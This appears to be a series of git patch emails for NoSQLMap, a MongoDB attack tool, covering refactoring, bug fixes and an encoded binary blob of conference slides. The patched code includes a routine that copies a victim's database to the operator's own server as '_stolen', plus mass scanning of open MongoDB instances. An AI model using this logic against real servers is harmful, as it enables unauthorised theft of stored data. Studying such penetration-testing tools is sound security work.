Date: Sat, 12 Jul 2014 09:38:24 -0500 Subject: [PATCH 070/207] Added header row for CSV output --- nosqlmap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nosqlmap.py b/nosqlmap.py index d0ed370..046dd2e 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1640,6 +1640,7 @@ def massMongo(): outCounter = 0 try: fo = open(savePath, "wb") + fo.write("IP Address,MongoDB Version\n") for server in success: fo.write(server + "," + versions[outCounter] + "\n" ) outCounter += 1 From ba4a7b0458ae3e6cc67f76e54178e34f2e6d41ec Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 14 Jul 2014 10:38:31 -0500 Subject: [PATCH 071/207] Remove duplicate pip install from setup.sh --- setup.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/setup.sh b/setup.sh index e155360..b57e4ef 100755 --- a/setup.sh +++ b/setup.sh @@ -45,7 +45,6 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then pip install json pip install httplib2 pip install urllib - pip install hashlib pip install itertools pip install re pip install threading From dcee50c727e8be8cbdf24eabbe6bcae3595e2b86 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 14 Jul 2014 10:39:13 -0500 Subject: [PATCH 072/207] Remove duplicates hashlib install --- setup.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/setup.sh b/setup.sh index b57e4ef..3a0e3a0 100755 --- a/setup.sh +++ b/setup.sh @@ -20,7 +20,6 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then pip install json pip install httplib2 pip install urllib - pip install hashlib pip install itertools pip install re pip install threading @@ -67,7 +66,6 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then pip install json pip install httplib2 pip install urllib - pip install hashlib pip install itertools pip install re pip install threading From 097ae43ca676b8c76189cab4009c29819ae7d86c Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 29 Jul 2014 21:24:59 -0500 Subject: [PATCH 073/207] Code Cleanup: Startup and recursion cleanup Remove recursion from DB stealing routine, change application startup to proper Python structure. --- nosqlmap.py | 63 +++++++++++++++++++++++++++++------------------------ 1 file changed, 35 insertions(+), 28 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 3fc3155..84d2e23 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -35,25 +35,29 @@ from hashlib import md5 from threading import Thread -#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. -global optionSet -optionSet = [False,False,False,False,False,False,False,False,False] -global yes_tag -global no_tag -yes_tag = ['y', 'Y'] -no_tag = ['n', 'N'] -global victim -global webPort -global uri -global httpMethod -global https -global myIP -global myPort -global verb -global scanNeedCreds -global dbPort -dbPort = 27017 +def main(): + signal.signal(signal.SIGINT, signal_handler) + global optionSet + #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. + optionSet = [False,False,False,False,False,False,False,False,False] + global yes_tag + global no_tag + yes_tag = ['y', 'Y'] + no_tag = ['n', 'N'] + global victim + global webPort + global uri + global httpMethod + global https + global myIP + global myPort + global verb + global scanNeedCreds + global dbPort + dbPort = 27017 + mainMenu() + def mainMenu(): mmSelect = True while mmSelect: @@ -67,7 +71,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.4" + print "NoSQLMap-v0.4a-DEV" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -1439,10 +1443,11 @@ def buildUri(origUri, randValue): def stealDBs(myDB,mongoConn): dbList = mongoConn.database_names() + dbLoot = True menuItem = 1 if optionSet[4] == False: - raw_input("No destination database set! Press enter to return to the main menu.") - mainMenu() + raw_input("No destination database set! Press enter to return.") + return if len(dbList) == 0: print "Can't get a list of databases to steal. The provided credentials may not have rights." @@ -1452,12 +1457,14 @@ def stealDBs(myDB,mongoConn): print str(menuItem) + "-" + dbName menuItem += 1 - try: + while dbLoot: dbLoot = raw_input("Select a database to steal:") - - except: - print "Invalid selection." - stealDBs(myDB) + + if dbLoot > menuItem: + print "Invalid selection." + + else: + dbLoot = False try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. @@ -1990,5 +1997,5 @@ def signal_handler(signal, frame): print "CTRL+C detected. Exiting." sys.exit() -signal.signal(signal.SIGINT, signal_handler) -mainMenu() \ No newline at end of file +if __name__ == '__main__': + main() \ No newline at end of file From a58bb3264657703ae7849f343dcdd6477e94fab1 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 31 Jul 2014 21:39:53 -0500 Subject: [PATCH 074/207] Code Cleanup: Exception error checking, bug fixes --- nosqlmap.py | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 84d2e23..d61cd6f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -490,8 +490,11 @@ def netAttacks(target): enumGrid(conn) if attack == "4": - print "\n" - stealDBs(myIP,conn) + if optionSet[4] == False: + print "Target database not set!" + else: + print "\n" + stealDBs(myIP,conn) if attack == "5": print "\n" @@ -1460,21 +1463,17 @@ def stealDBs(myDB,mongoConn): while dbLoot: dbLoot = raw_input("Select a database to steal:") - if dbLoot > menuItem: + if int(dbLoot) > menuItem: print "Invalid selection." else: - dbLoot = False + break try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") if dbNeedCreds in no_tag: - if optionSet[4] == False: - raw_input("No IP specified to copy to! Press enter to return to main menu...") - return - myDBConn = pymongo.MongoClient(myDB,27017) myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) @@ -1495,8 +1494,8 @@ def stealDBs(myDB,mongoConn): else: return - except: - if str(sys.exc_info()).find('text search not enabled') != -1: + except Exception, e: + if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return @@ -1543,8 +1542,8 @@ def accessCheck(ip,port,pingIt): conn.disconnect() return [0,dbVer] - except: - if str(sys.exc_info()).find('need to login') != -1: + except Exception, e: + if str(e).find('need to login') != -1: conn.disconnect() return [1,None] From 82da0fb2f53b5a9d89564e2be43d460611303f1a Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 11 Aug 2014 17:07:13 -0500 Subject: [PATCH 075/207] Add DC22 slides and fix method call bug --- DC22-WoS-Nosql_slides.pptx | Bin 0 -> 516497 bytes nosqlmap.py | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) create mode 100644 DC22-WoS-Nosql_slides.pptx diff --git a/DC22-WoS-Nosql_slides.pptx b/DC22-WoS-Nosql_slides.pptx new file mode 100644 index 0000000000000000000000000000000000000000..55ae193acaf3ffcd337536ff4a73ac33ce2ce524 GIT binary patch literal 516497 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 